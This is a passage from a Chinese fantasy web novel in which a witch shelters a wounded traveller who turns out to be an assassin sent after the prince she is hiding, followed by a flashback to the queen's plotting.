葛宁克笑了笑,把鱼拎到面前,给格温蒂尔展示了一下。 还真是几条不过巴掌长的小黑鱼。 这分量,哪怕只有格温蒂尔和葛宁克两个人,也不过是堪堪将肚子填个半饱。 格温蒂尔有些苦恼,让梅拉待会儿干看着他们俩吃烤鱼这事,她做不出来。 “没事,你先将这几条鱼烤了,我再去捉只野兔来。”葛宁克显然也考虑到了这点,主动提出要再离开一趟。 “好。”格温蒂尔接过鱼,想着葛宁克大概也就是在附近转转,不会走多远的,也就没太担心。 在外头生活了这么久,将树枝捡到一起,生火这些事格温蒂尔已然做得十分熟练,都不需要梅拉帮忙。 等烟从树叶堆里冒起来,格温蒂尔便将串着鱼的树枝架了上去。 又过了一会儿,渐渐地飘出香味来,格温蒂尔赶紧给靠近火堆的那一面烤得焦黄的鱼翻身。 “虽然我做别的不行,但我烤的鱼可好吃了,葛宁克都一直赞不绝口呢。”格温蒂尔骄傲地道。 “是吗?这种小黑鱼莱、我的同伴也钓过,得在烤的时候滴几滴柠檬汁除掉腥味才好吃。” 但梅拉看了半天,发现格温蒂尔只是干巴巴地在烤。尽管烤出来的卖相还不错,但吃到嘴里可未必就是她想要的味道了。 “是、是吗?”格温蒂尔还是第一次处理这种鱼,听了梅拉的话,一时间有些无措。 “没事,没有柠檬,我放点紫苏叶子也是一样的。”格温蒂尔硬着头皮道。 正好她记得这附近长有一小撮紫色的叶子,赶紧摘了来,细细碎碎地撕了撒到鱼身上。 梅拉甚至没来得及叫住她。 “……可这不是紫苏叶,是鸦舌叶。” “这两者有什么区别吗?”格温蒂尔蒙了,她对草药根本一窍不通。 “鸦舌叶因为它的颜色紫得发乌,叶片肥厚,形状像极了舌头,所以被称作鸦舌叶。不仅不能给鱼肉去腥,还会让鱼肉散发出一股奇怪的臭味。” 梅拉说着,已经隐隐嗅到了一股难以言喻的味道,正顺着飘来的烟雾往她这头窜。 “啊啊啊那怎么办?”格温蒂尔也闻到了这股味道,脸色都青了。 哪怕是为了自己的舌头和鼻子着想,梅拉也没办法眼睁睁地看着这几条鱼变得越来越臭,她连忙在格温蒂尔摘到鸦舌叶的附近掰了一小段颜色枯黄的藤,将新鲜的切口对着鱼身,使劲挤出为数不多的几滴汁液。 “这又是什么?”见梅拉有了解决办法,格温蒂尔好奇地凑过来问。 “这是假死花的藤,能中和鸦舌叶的臭味。” 格温蒂尔使劲嗅了两下,“真的诶,不臭了!” “不过假死花是什么花?我怎么从来没见过呢?” “因为它为了伪装自己,故意长成了一副枯萎的样子,这样就能防止被人类摘走了。”梅拉解释道。 噢,原来如此,格温蒂尔明白了,难怪叫假死花呢,假装自己死掉了的花,还真有趣。 “对了,你怎么懂得这么多有关草药的知识啊?”格温蒂尔终于后知后觉地发问。 要是换了个人站在这,估计早就对梅拉的身份起疑了。 然而梅拉只是用一句轻飘飘的“我的父亲是名医士”,就让格温蒂尔打消了追问下去的念头。 “说起来,葛宁克是不是离开得太久了?” 有了梅拉的提醒,格温蒂尔这才茫然地反应过来,“是哦,葛宁克呢?” 按理说这么久过去了,葛宁克总该回来了才对。 然而格温蒂尔现在连他的影子都没见到。 “要去找找他吗?”梅拉提议到。 “当然。”格温蒂尔想也不想的道。万一葛宁克是因为碰到了什么意外才回不来的,她们两个正好能给他帮忙。 事不宜迟,格温蒂尔将火熄灭,和梅拉紧紧贴着,一起往葛宁克先前离开的方向走去。 “是这个方向吗?我没有记错吧?” 走了一会儿,依旧不见葛宁克的踪影,格温蒂尔心里有些没底,忍不住侧头去看身旁的梅拉。 梅拉还是那副悠悠然的样子,仿佛漫步在自家的后花园。 注意到格温蒂尔的目光,她勾起唇角笑了一下,“应该是吧。” “什么嘛,装得胸有成竹的样子,要是我们走错路了可怎么办?”格温蒂尔见不得梅拉这幅轻松的样子,忍不住嘟囔道。 “那就原路返回好了。放心,有我在,保证我们俩一定能走回去。”梅拉调侃道。 “梅、拉!都说了我是第一次进入黑暗森林,迷路难道不是很正常的事吗!”格温蒂尔让梅拉逗得气炸了,脸颊都鼓了起来。 如果手边有面镜子,梅拉真想拿给格温蒂尔照照,让她看看自己此刻气鼓鼓的模样是不是像极了一朵蓬松的蒲公英。 梅拉笑了起来。 “等等,是格温蒂尔和梅拉吗?” 忽然,略带嘶哑的男声从不远处传来。 是葛宁克的声音。 “是我们!”格温蒂尔脸上一喜,也顾不上和梅拉计较了,迫不及待地往声音传来的方向跑去。 等梅拉跟在格温蒂尔身后见到葛宁克,就看到他正坐在地上,捂着右腿,唯一从满脸胡子底下露出来的一双眼睛早已因为疼痛而拧到了一起。 梅拉扫了一眼附近的草丛,发现上头滴落了些许殷红的液体。 不出所料的话,应该是葛宁克的血。 “你这是怎么了?”格温蒂尔急匆匆地扑到葛宁克腿边,想查看他的伤口,却让葛宁克摇头拒绝了。 “伤口太大,全靠我用手捂住,才勉强控制了流出来的血量。格温蒂尔,你现在先去给我找些又长又细的叶子过来,记得,要找有韧性的,不能一扯就断。” “好,我这就去。”格温蒂尔忙不迭地答应下来。 格温蒂尔很快就为葛宁克找来了他想要的叶子。 葛宁克于是松开了手,露出了腿上惨不忍睹的血窟窿。 看着像是被野兽咬出来的伤口。 梅拉微微凝神,看着葛宁克将叶子揉到一起,往腿上缠了一圈又一圈。可惜他的伤势太重,不断有血迹渗出来,压根起不到止血的作用。 格温蒂尔看着都仿佛感到了自己的腿在疼。 她将求助的目光投向梅拉,“梅拉,你不是懂很多草药知识吗?有没有什么办法帮帮葛宁克?” “我是有办法可以暂时帮他止血,但如果没有止血药粉,很快他的伤口又会恢复原状。”梅拉道。 “没关系,能暂时止一会儿血也是好的,这样我就能重新走路了。”说话的是葛宁克,大汗淋漓之下,那双眼睛仍然亮得惊人。 这也是梅拉始终存疑的地方。 见到葛宁克的第一眼,梅拉的直觉就在提醒她,这个人不简单。 虽然不知道他具体的过往,然而即使是听到格温蒂尔的解释,提到她对葛宁克有救命之恩,梅拉仍然没有打消心中对他的怀疑。 葛宁克的一路护送,同时也可以解释为借着与格温蒂尔同行的机会一路畅通无阻的离开了北方。 格温蒂尔说了,他们这一路上也不总是顺利的,偶尔遇到意外情况,都是葛宁克拿着她带出来的首饰前去打点,才总算逃过一劫。 如此轻车熟路的作风,梅拉认为葛宁克从前一定没少干类似的事,但他看起来可一点也不像个精明的商人。 至少商人绝不会拥有这样的身手,以及如何在野外安然生存的知识。 然而几天下来,梅拉仍然没能摸清楚葛宁克这么做的动机。 难道真的像格温蒂尔所说,他们原本只想在外围熬一阵子,却误闯进了黑暗森林的深处。 不管怎样,梅拉还是暂时帮葛宁克止了血,格温蒂尔则扶着他站了起来,打算先回去再说。 结果路才走到一半,葛宁克的伤口又开始流血了,速度比梅拉预想的要快得多。 “怎么办?”格温蒂尔着急得不行,“梅拉,你能不能再用那什么草药给他包起来,让血别流了?” “恐怕不行。”梅拉摇了摇头,就算她重新给葛宁克用同样的办法止血,想必还是撑不了多久。 “难道非得要止血药粉才行吗?可我连黑暗森林都走不出去,又能上哪去弄来这玩意儿?”格温蒂尔听了,急得就差快哭出来了。 与此同时,因为失血过多,葛宁克的脸色几近惨白。 即使如此,他依旧出声安慰格温蒂尔道,“别慌,或许我命中注定就是要倒霉这么一回的。” 说着,葛宁克又看向梅拉,“抱歉,我如今这个狼狈的样子你也看到了,也不知道还能不能熬过今晚。如果可以的话,我想拜托你带着格温蒂尔去见你的同伴,说服他们接纳她,否则她一个人是没办法独自在这里活下去的。” 梅拉抿了抿唇。 格温蒂尔则眼前一亮,“梅拉,你的同伴手里有没有止血药粉?你们常年来往黑暗森林,肯定有备无患,对吧?” 说到最后,格温蒂尔的话中甚至隐隐带上了哀求,她将救下葛宁克的希望全部压在了梅拉的同伴身上。 倘如梅拉拒绝,她完全能想象出格温蒂尔失望至极的模样。 算了。 梅拉心软地点头,“我手里确实有止血药粉,你们俩待会都跟我来吧。在此之前,先让我帮葛宁克换一次草药。” “太好了,葛宁克你有救了!”闻言,格温蒂尔高兴得快要蹦起来,完全忽略了梅拉话里的古怪之处。 葛宁克也忍不住露出了笑容,同样是一双眼睛弯出了笑纹。 此时远在小木屋的莱克斯瞧着梅拉又跑没影了,露出了若有所思的表情。 梅拉不会以为真的骗过他了吧? 莱克斯从没有怀疑过自己的记忆,箱子里的苹果就是少了两颗。 所以梅拉偷偷去见的神秘人有两个?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 第 41 章 [杀死莱克斯] 起初的喜悦过去后, 格温蒂尔望着前方梅拉的背影,终于察觉到了些许不对劲。 等到她远远地瞧见一座有些年头的小木屋时,这种不对劲的感觉升到了顶端。 “葛宁克,你有没有觉得有些奇怪?”为了避免让梅拉听见他们在说悄悄话, 格温蒂尔特意凑近葛宁克的耳边, 用气声问道。 “她怎么会在黑暗森林有这样一座屋子呢?” 葛宁克用充满怜爱的眼神看了格温蒂尔一眼,心想你终于发现了, 黑暗森林凶名赫赫, 本就没什么人敢大着胆子前来, 唯独传出女巫居住在这里的消息。 这些天梅拉一个人来见格温蒂尔, 走在森林中仿佛跟走在自家后花园一样自在, 明眼人一眼就能看出古怪。偏偏格温蒂尔是个实心眼,梅拉说什么她信什么,完全没有起疑过梅拉是否对她撒了谎。 葛宁克虽然隐隐猜到了事实, 却猜不透梅拉的心思, 如果她真的有意隐瞒自己的身份,又为何不用心捏造更真实的细节。 眼看格温蒂尔和梅拉相处得还不错,葛宁克干脆自己避了出去,省得哪里露出破绽让梅拉看出端倪,破坏了她和格温蒂尔的交往。 有时候,实心眼确实更适合用来和人相处。 说起来,若是没有他今天这一出, 大概梅拉根本不想在格温蒂尔面前暴露身份吧。 葛宁克小幅度地摇了摇头, 同样用气声回答格温蒂尔,“或许,待会会有让你更震惊的事情发生。” 更震惊的事情?什么事情?格温蒂尔不解。 但他们离小木屋的距离越来越近了,格温蒂尔只好咽下了嗓子眼里的疑惑。 只见梅拉轻快得像是一只鸟儿似的飞到了台阶上, 朝屋内喊道:“塞拉斯,莱克斯,有客人到了——” “客人?什么客人?”无所事事的塞拉斯率先来到门口迎接梅拉,它探头探脑地往梅拉的身后看去,与格温蒂尔和葛宁克打了个照面。 是没见过的陌生面孔。 “还真是客人。” 塞拉斯嘟囔了一句,然后像人类绅士一样将翅膀放到胸前,向二人微微鞠躬,道:“欢迎来到小木屋,我是塞拉斯,是梅拉唯一的宠物。” 它着重强调了“唯一”一词。 可惜格温蒂尔并没有领略它的意图,而是对着塞拉斯尖叫起来,顺便疯狂摇晃手里葛宁克的胳膊,“葛宁克,你看到了吗?这是一只会说话的乌鸦!” 她特意在“会说话”上加重了音调。 葛宁克觉得自己的耳朵快让格温蒂尔叫破了。 他只好示意格温蒂尔冷静,“这没什么大不了的,毕竟它是女巫的宠物……” “什么?女巫!谁是女巫?”格温蒂尔声音更大了,仿佛直冲天际。 “当然是我了,在场的人里除了你和我之外,难道还有第三个女人吗?”梅拉的声音幽幽地从屋子里飘出来。 之前格温蒂尔和葛宁克说悄悄话也就算了,但她现在如此大声,梅拉真的很难装听不见。 一时间受到的震惊太多,格温蒂尔的脑子都像亟待维修的钟表一样停摆了,以至于看到金发金眸的莱克斯出现时,她甚至失去了语言的能力。 等到格温蒂尔终于冷静下来,梅拉已经让莱克斯拿来了止血药粉和干净的纱布。 另一边,坐在椅子上的葛宁克看着莱克斯在自己面前蹲下,连忙阻止了他的下一步动作,“我怎么敢让王子殿下为我上药,我自己来就好了。” 莱克斯没说什么,将药粉递给了葛宁克,看着他麻利地解下腿上的草叶,敷上厚厚一层止血药粉,再用纱布绕着伤口缠了一圈又一圈。 “怎么样?感觉好点了吗?”瞧见这一幕,格温蒂尔忙关心地问。 “才这么一会儿的功夫,你好歹得给药效生效的时间吧。”梅拉懒洋洋地插嘴。 格温蒂尔讪讪地笑了两下,这不是不知道说什么好,干脆找个危险性没那么高的话题开口吗。省得她一个不留神就问出死亡问题,譬如梅拉为什么要隐瞒身份,她的小木屋里又为什么藏着一个王子。 真令人不敢置信,数年前失踪,整个王国找了好几个月愣是没找到踪迹的王储殿下竟然就活生生地站在她的面前,格温蒂尔很难不怀疑其中是否有梅拉的手笔。 女巫和王室的关系水火不容早已是人尽皆知的事情,双方的账细究起来大概要追溯到上百年前。 但看莱克斯对梅拉言听计从的样子,大概他这些年并没有过着多么水深火热的日子? 格温蒂尔忍不住,悄悄地觑着莱克斯平静无波的脸色。 “不过我做的药粉,药效可比其他人做出来的要好。你的血大概已经止住了吧?”梅拉瞥向葛宁克的腿。 还真是,葛宁克也跟着往自己的伤口处看去,发现纱布上不再有新鲜的红色透出来。 “天哪,这么好使的药粉,要是可以卖出去,这辈子简直就有源源不断的金币在往你的口袋里蹦。”格温蒂尔感叹道。 作为商人之子,这点眼光她还是有的。 “好主意,那么,不如说说该怎么过教会这一关吧?”梅拉当然打过类似的主意。 但药效这么好的东西如果不是出自教会之手,很容易就会被人怀疑到女巫的身上,梅拉还不想平白无故拖人下水,干脆也就打消了拜托杜克瓦托带着她做的止血药粉私下找人进行交易的念头。 “也是哈……”差点忘了教会这一茬,格温蒂尔觉得自己可真是说了句蠢话。 见到格温蒂尔小心翼翼地闭上嘴,不敢再多说一句的模样,梅拉决定不为难她了,还是开饭吧。 好不容易能吃到一顿正常的晚餐,再加上莱克斯的手艺一如既往的好,格温蒂尔用勺子将盘子上的土豆泥刮得干干净净,全程完全没顾得上说话。 同样,葛宁克的面前也摆着空荡荡的盘子,连碗里最后一点蘑菇汤都被他蘸着面包吃完了。 到了晚上分配睡觉地方的时候,尽管葛宁克受了伤,但他还是主动要求睡到门外去,将屋子里剩下的空余地方让给了格温蒂尔。 好在梅拉说了,没有野兽敢靠近小木屋,葛宁克就算睡在屋子外头也不会有事,格温蒂尔这才歇了推让的心思。 终于能平躺着入睡,格温蒂尔一躺下去立刻没了意识,完全坠入了梦乡之中。 梅拉分别和塞拉斯与莱克斯道过晚安,很快呼吸亦平稳下来。 屋子里顿时静悄悄的,唯有屋外的月亮随着夜晚的脚步逐渐变化位置。 过了不知道多久,本应该睡着的葛宁克忽然睁开了眼。 他估算了许久的时间,又确认屋子里俱是平稳的呼吸声,这才蹑手蹑脚地绕到屋后,从窗边翻了进来。 直接推门进来当然也可以,但晚上的时候葛宁克特意观察过,小木屋的门哪怕只是被风带动,都会响起挠耳朵的嘎吱一声,为了不惊动这一屋子沉睡的人,他最终还是选择了翻窗。 借着月色,葛宁克看清了莱克斯所躺的地方,于是他悄然越过梅拉与格温蒂尔,一只手背在身后,逐渐接近了一无所知的莱克斯。 “咚”的一声闷响,仿佛有什么重物掉在了地上,下一刻,塞拉斯扯着嗓子大叫的声音在所有人的耳边响起:“杀人啦!杀人啦!” 塞拉斯原本睡得好好的,眼前却忽然被一道亮光一闪,它下意识地睁开眼,发现竟然是葛宁克背在身后的匕首被月光一照所闪烁的银光,吓得直接从栖杆上摔了下来。 即使如此,它也没忘了发出声音向其他人示警。 本来在装睡的莱克斯:“……” 同样在装睡的梅拉:“……” 这下他们不得不睁开眼。 眼见事情暴露,葛宁克心知机会转瞬即逝,顾不得犹豫就往莱克斯身上扑去,手里还紧紧握着那把寒光闪闪的匕首。 梅拉一点要站起来给莱克斯帮忙的意思都没有,她饶有兴致地看着莱克斯三两下就扭转局势,将葛宁克压在地上动弹不得,连带着匕首也被他抢到了手里,正横在葛宁克的脖子上。 这个水平,大概也就只能欺负欺负十二岁的莱克斯了吧。 一想到十二岁的莱克斯就是让这样一个人带着数名手下,像赶丧家之犬一样赶进了黑暗森林,梅拉就忍不住想摇头。 “怎么了?怎么了?” 真正睡得一无所知的格温蒂尔这会儿终于清醒过来,她茫然地坐起来,揉了揉惺忪的睡眼,以至于一时间都没发现被莱克斯压在地上的葛宁克。 等她终于看清屋子里的情况,整个人都不好了,“这到底是怎么一回事?” 格温蒂尔隐约回想起刚刚吵醒她的那道声音,说的好像是什么杀人了。 “那不如就请葛宁克来为我们解释一下,他为什么要在时隔五年之后忽然回到黑暗森林,想要对莱克斯下死手吧?” 面对格温蒂尔的疑问,梅拉抬了抬下巴,慢悠悠地说道。 “你们是从什么时候知道的?”葛宁克抬眼,冷冷地盯着梅拉。 听到梅拉的话,葛宁克自觉他的计划早已暴露,但是他想不明白,他是哪里露出了破绽? 明明他已经尽量在避免和梅拉接触了,而梅拉也早就对格温蒂尔放下了戒心。 身为格温蒂尔的同伴,葛宁克本以为自己至少也得到了一些梅拉的信任。 “好吧,看来得先由我为你解答一下疑惑了。葛宁克,这或许是你的真名?我不知道,但无所谓,我只想告诉你,你的破绽从一开始就很多啊。” 梅拉慢条斯理地整了整起了褶皱的衣袖,将手肘抵在摇椅的扶手上,撑着有些歪的脑袋,笑吟吟地对葛宁克道。 第42章 第 42 章 [葛宁克的过去] 葛宁克的破绽确实很多, 但真正让梅拉确定他有问题的,还是塞拉斯无意中的一句话。 “他衣服上的纽扣好眼熟啊……” 塞拉斯站在窗台上,盯着坐在椅子上帮忙削土豆的葛宁克看了半天。 “塞拉斯,你刚才在说什么?”梅拉从它的身后冒出来。 吓得塞拉斯身上的羽毛都竖了起来。 然而梅拉早有先见之明地一手捂住塞拉斯的嘴, 一手抱着它离开了窗台, 走到了一棵树下。 除非有人亲自走到窗边,否则光是坐在屋子里, 是没法看到梅拉和塞拉斯在做什么的。 也方便了梅拉重新问了一遍塞拉斯, “你刚才在说什么?纽扣?葛宁克的纽扣怎么了吗?” “我觉得他衣服上的纽扣有点眼熟, 好像当初我送给百合小姐的那一粒。”塞拉斯老老实实地回答道。 梅拉回想了好一会儿, 总算想起来这是塞拉斯送给百合小姐的离别礼物, 只不过因为没有见到实物,当时她和莱克斯压根没对这粒纽扣上心。 但现在,梅拉要求塞拉斯原原本本地把它在哪捡到的纽扣, 以及纽扣到底长什么样给复述一遍。 “就是在林子里……”塞拉斯被迫开始回忆。 只不过越回忆, 它越发肯定自己捡的那粒纽扣和葛宁克身上的一模一样。 那种特殊的光泽,贝壳一样的造型,还有波浪似的花纹,都是塞拉斯第一次见到,算得上印象深刻了。 梅拉露出一副若有所思的表情,这粒纽扣会是葛宁克掉下的吗? 不,时间对不上, 这会儿他应该还在北方领地才对。 但要说和葛宁克一点关系也没有, 或许也不尽然。 这些事大概问问莱克斯更靠谱。 想到这,梅拉便让塞拉斯想办法找个不容易让人起疑的借口将莱克斯叫过来。 “没问题。”塞拉斯拍着胸脯应下来。 莱克斯很快就来到了树下。 “塞拉斯刚才神神秘秘地和我说,你有事找我。” “是有点事。你有没有觉得那个叫葛宁克的男人有什么问题?”梅拉打量着莱克斯平静的脸色,问道。 听到梅拉的话, 莱克斯的眉毛动了一下,似乎没想到她竟然也对葛宁克有所怀疑。 接着莱克斯转念一想,哪怕明知对方有问题也敢带回小木屋来,这才是梅拉的作风。 更何况人之所以畏惧潜在的危险,往往是因为怀疑自己没有解决危险的能力。 梅拉从来都对自己格外有信心。 哈,还真有问题。 哪怕莱克斯还什么都没说,梅拉却已经从他的反应中得到了答案。 “说说看吧?你觉得他哪里有问题?”梅拉倒是好奇。 “他衣服上的那排纽扣是五年前在王城中比较流行的款式,说明他要么是一直居住在王城,要么是五年前曾在王城待过一段时间。”莱克斯道。 等等,好像有点不对劲。 “连这种细节你都关注?”梅拉疑惑。 莱克斯:“……” 该怎么和梅拉解释呢,这说来就有点话长了。 最开始,这种款式的纽扣是出现在王宫的一位侍女身上。 王宫的侍女一般分为两类,一类是平民出身,大多是因为有一技之长而被选中,一类则是贵族出身,进入王宫的理由各不相同。 而这位侍女,就是一名伯爵的次女。 听说她是为了逃避不喜欢的未婚夫才选择进入了王宫之中,盼着自己年纪大了,她的未婚夫会主动向她的父亲提出解除婚约。 然而长时间离开家乡,难免怀念。 于是她特地花大价钱找了裁缝,用她家乡特产的小贝壳细细地打磨,做成纽扣缝到了衣服上。 这样奇特又好看的纽扣自然引起了她贴身伺候的伊莱雅的注意。 伊莱雅很喜欢,立刻让裁缝照着这个款式为她做了一条华丽的裙子,在下一次的王宫舞会上穿着它惊艳亮相。 舞会过后,类似样式的纽扣很快就在底下人之间刮起了一阵潮流,找不到这样的贝壳,就用别的材料代替,还便宜了不少价钱。 当莱克斯看到斐南基露出来的领口上和自己用的是同一款纽扣时,还让他揶揄了两句,于是印象更加深刻。 “原来是这样。”梅拉懂了,就像税务官的妻子在晚宴上露面的妆扮也总是引起其他人争相模仿一样,都是为了追逐更加有权有势的人的一种手段,那就是将她捧成人群的中心。 尽管梅拉一直觉得往脑袋上插五彩缤纷的羽毛是件非常可笑的事情。 “但是格温蒂尔告诉我,她是在北方领地遇到的葛宁克,那时候他差点让人强行抓去当了庄园里的奴隶。假如葛宁克曾经在王城生活过的话,他又为什么要离开呢?”梅拉将话题拉回到了葛宁克的身上。 “一般有两种可能。一,他不得不离开;二,他主动选择了离开。”莱克斯分析道。 到底葛宁克属于一还是二,其中的处境可大不相同。 主动离开的理由或许有很多种,譬如谋求更好的生活、发达的机会之类的,但若葛宁克是不得不离开王城,那他大概是得罪了什么人,为了保命才这么做。 梅拉还在思索哪种可能性更大些,莱克斯却忽然道,“说起来,我总觉得他看起来有些熟悉。” “你是指他那张被胡子包裹得压根看不清五官的脸吗?”梅拉欲言又止。 “不,当然不是。”莱克斯否认道。 非要他说的话,大概是一种感觉?即他们绝对见过的感觉。 “你的话给了我一些灵感,你说有没有可能,他就是为了防止你将他认出来,才故意留了这样又厚又密的胡子?” 如果是这样,梅拉不由得催促莱克斯快多想想,到底是在哪种情况下与葛宁克见过面。 “然后,莱克斯就想到了一个人,一个迫使他当年不得不逃入黑暗森林的人,你是那伙追兵的领头者,没错吧。”梅拉盯着葛宁克道,语气十分笃定。 夜色之中,亮起煤油灯的小木屋是方圆数里唯一的光源,昏黄的光线照在经年的木头上,让上头的深棕色充满了温馨的味道。 可惜对被绑起来的葛宁克来说,这应该不算一个多么美好的场景。 心情或许也和他当年领着一队人马追着年幼的莱克斯,望着高高在上的王储殿下狼狈逃窜时的自鸣得意掉了个个。 “所以你是怎么混到如今这个地步的?伊莱雅难道没有给你们一点好处吗?毕竟你们可是替她消灭了一个大麻烦啊。”梅拉不解。 尽管莱克斯其实好好地活在黑暗森林里,但伊莱雅和其他人又不知道,在他们的眼里,莱克斯早就是一具尸体了。 “伊莱雅王后并不相信莱克斯王子已经死了。” 事到如今,葛宁克也懒得再隐瞒下去,反正他就算把事情全盘托出,也影响不到那个在王宫里呼风唤雨的女人。 而无论有没有葛宁克这一桩多出来的意外,莱克斯与伊莱雅也迟早都是要对上的。不死不休。 “她不信?为什么?”梅拉与莱克斯对视了一眼。 “因为我们没有将莱克斯王子的人头拿回去。”葛宁克答道。 他的目光变得悠忽,落在半空中,却又仿佛并不是在看某一样东西。 他的眼前仿佛又回到了面见伊莱雅的那一天。 那天晚上,葛宁克领着手下退出了黑暗森林,来不及休息,便马不停蹄地返回约定好的地点与大部队汇合。 见到他们两手空空地回来,为首的男人皱起了眉,他骑在马上,视线带着不容置疑的压迫感,缓缓地扫过了葛宁克与他身后众人的脸庞。 “葛宁克,你千万不要告诉我,你们这么多人竟然放跑了一个十二岁的小鬼。” “没有放跑,我们追着他进入了黑暗森林,亲眼看到比一座小山还大的黑影从上空掠过,那是女巫的宠物,他活不下来的。”葛宁克解释道。 如果是别人,或许还能在女巫手下侥幸活下来,说不定那会儿女巫恰好心情好呢?但作为王室血脉的莱克斯,绝对没法从女巫手中讨得了好。 “哼。”男人傲慢地冷哼一声,“这话你留着给王后殿下解释吧,说不定看在西维里殿下的面子上,她会愿意给你一个将功补过的机会。” 葛宁克怀揣着忐忑进入了王宫,若是伊莱雅王后,或许并不像男人说的那样会对他们不满呢。 然而听到葛宁克的说辞,伊莱雅唇边的笑意开始凝结冷意,“你是说,你们明明可以继续追下去,将他的人头带来给我,让我的孩子彻底坐稳王位,结果却因为怕死而将他的生命留给了一个不知名的女巫做决断是吗?” “……王后殿下,”葛宁克艰难地开口,“我相信只要有机会,没有一个女巫会选择放过努伦格尔的后代。” 相信整个王国里,没有比女巫更希望所有姓努伦格尔的人全都死光的存在了。 “那你们就更加不能被原谅了。” 伊莱雅敛起笑意,目光沉沉,刀子似的落在葛宁克的身上,“谁都知道女巫们的手段是多么层出不穷,万一那个女巫拿莱克斯对我的西维里下手该怎么办?” 尽管伊莱雅对占着本应该属于她儿子的王位的莱克斯完全称得上厌恶,但不可否认莱克斯与她心爱的西维里是至亲兄弟,他们的身上留着一半相同的血液。 若是女巫用这一半的血脉威胁到她的小里尔…… “我们愿意将功折罪,重新去一趟黑暗森林!这一次,绝对会带着莱克斯殿下再也无法威胁西维里殿下的证据回来见您!” 察觉到伊莱雅漂亮的金眸中划过一抹危险的杀意,葛宁克心中大惊,赶紧抢白,试图做最后的挣扎。 他低着头,跪在地上,后背不住地冒着冷汗。 如果伊莱雅不肯给他们这个机会……至少,至少他找机会吩咐过的人还能带着其他人一起逃离王城,保住一条命。 “好啊。给你们一个月的时间,做不到就把自己的人头拎回来见我也行。” 坐于上首的女人不知想到什么,忽然改变了主意,轻飘飘地落下这么一句话。 换来葛宁克激动地抬头。 第43章 第 43 章 两百收加更,双章合一…… 等到葛宁克的身影彻底消失在门外, 原本站在下首另一侧的男人看向伊莱雅,脸上露出了不解的神色:“为什么要给他们第二次机会?” 伊莱雅的手下如今并不缺人。 因她若是想要解决莱克斯,完全可以另外派人,而不是相信一群已经退缩过一次的懦夫。 “凯尔多, 若是你的哥哥安东尼奥站在这里, 他一定不会向我问这样一个蠢问题。”伊莱雅漫不经心地瞥了他一眼。 裘德家族中靠谱的人并不多,大部分都属于养尊处优的蠢货, 其中安东尼奥和凯尔多已经算是伊莱雅费尽心思挑选起来的帮手。只不过和安东尼奥比起来, 凯尔多简直像个没心眼的直肠子。 这样的性格有利有弊。 优点是无论伊莱雅吩咐他任何事情, 凯尔多都能毫无异议地照做。缺点也很明显, 那就是一旦碰到这种时候, 总需要伊莱雅为他仔细地解释一番。 “我并没有打算放过他们。只不过为了确保下一次不会再有其他人像他们一样,胆敢拿这样的结果来糊弄我,留下他们, 让其他人看看他们的下场, 才能真正生出畏惧之心,以后全力以赴地完成我吩咐的任务,不是吗?” “没见过鞭子的马是不知道痛的,人也一样。” 伊莱雅拨弄着颜色艳丽的指甲,神情冷淡。 无论葛宁克嘴里怎样为自己开脱,什么莱克斯落到女巫手里必死无疑,哪怕没有遇到女巫, 中了他们射出去的箭后也不可能带着一身伤活下来——这些对伊莱雅来说都不重要, 她只想要看到莱克斯被剑切下来的头颅,确保一切万无一失。 只要莱克斯有万分之一生还的可能,伊莱雅始终悬着的这颗心就不可能彻底放下来,同样的亏她已经在莱克斯的母亲莉莉勒斯身上吃过了, 她决不允许自己在莱克斯身上失手第二次。 若是莱克斯有朝一日回来,想到这一可能的伊莱雅微微眯起眼,哪怕西维里早已成为了新的王储,也未必能争得过他。 要知道莱克斯最大的优势,不是有素有贤名的宰相作为老师,也不是有忠心耿耿的骑士长护卫在身侧,而是他身为努伦格尔九世的长子,拥有最名正言顺的继承权。 所以,西维里的王位要想坐得稳,莱克斯就绝对不能活下来。 “你明天早上带着人埋伏到王城之外的小道上,先解决了葛宁克他们,再去黑暗森林处理掉莱克斯,如果他确实还活着的话。”伊莱雅冷冷地道。 “没问题。”凯尔多点头应下。 “只不过,要是遇到了女巫该怎么办?”凯尔多犹豫了一会儿,还是问道。 “一个女巫而已,你多带点人就够了,不过是一具血肉之躯,能被剑砍死,也能用箭射死。” 伊莱雅可不像普通人一样,对传说中掌握各种神奇手段的女巫感到分外畏惧,毕竟她曾在教会的地牢里见到过真正的女巫。 长时间没有打扫过的地牢充斥着各种难闻的气味,缎面做的鞋底踩在地上,甚至有黏腻的触感传来。 地牢中央,披头散发的女人坐在地上,手脚被固定在墙壁上的锁链锁了起来,听到脚步声,她没有发出任何动静,更没有抬头来看。 也不知道是没力气看还是压根懒得看。 伊莱雅如今还能回想起女人被用尽手段折磨时,发出的无能为力的惨叫。 她闭了闭眼,愈发坚定了心中的念头,不管是女巫还是什么,任何人只要有弱点,那就一点也不可怕。 “好了,你快去准备吧,我也要去看看我的小里尔了。” 伊莱雅从台阶上走下来,曳地的裙摆从凯尔多眼前经过,最后化作一抹流动的红色,彻底消失在了门外。 * “我和手下们在王城外的小道上被凯尔多带人埋伏,当时大家只顾着拼尽全力突围,逃往了各个方向,最后我费尽心思也只找到了另一个人,和他一起前往了雅兰特领。” “雅兰特领是?”梅拉看向莱克斯。 “是位于北方的一个小领地,以贫瘠的土地而出名。听说在雅兰特领的土地上种一亩土豆,第二年的收成还不到两倍。” 莱克斯简单地为梅拉介绍了一下雅兰特领的情况。 即使是土豆这样产量大、易种植的作物,在雅兰特领的土地上也没法填饱一个五口之家的肚子,足以见得雅兰特领的土地是真的不适合用来种植。 如果不是因为王国的法律规定了平民不能随意更换生活的领地,恐怕雅兰特领的人早就跑光了。 因此葛宁克带着人在雅兰特领安顿下来,倒也平安无事地躲了好几年。 大概谁也想不到会有人自愿往这破地方跑吧。 “那你又为什么要离开雅兰特领呢?就这么一直普普通通地生活下去不好吗?” 梅拉的视线移回到葛宁克的脸上,所以这一脸又厚又密的大胡子果然是为了隐瞒身份吧。 “因为哈威杰,那个跟着我到雅兰特领的手下,三个半月前被领主的人给带走了。”葛宁克闭了闭眼,声音闷得像是罩在了一个玻璃罩子里,快要透不出气来。 三个半月前,雅兰特领,光秃秃的枝丫顶在头上,压根挡不住炽热的阳光。 葛宁克走在山间,感觉自己仿佛进了一口正在冒烟的锅里,烤得身体里的水分都要干涸。 明明才五月中旬,也不知道为什么今年这么的热。 葛宁克擦了擦满脑门的汗。 因为雅兰特领的土地格外贫瘠,在这片土地上长出来的树木也又瘦又小,甚至还没到秋天,就将为数不多的绿叶掉了个干净。 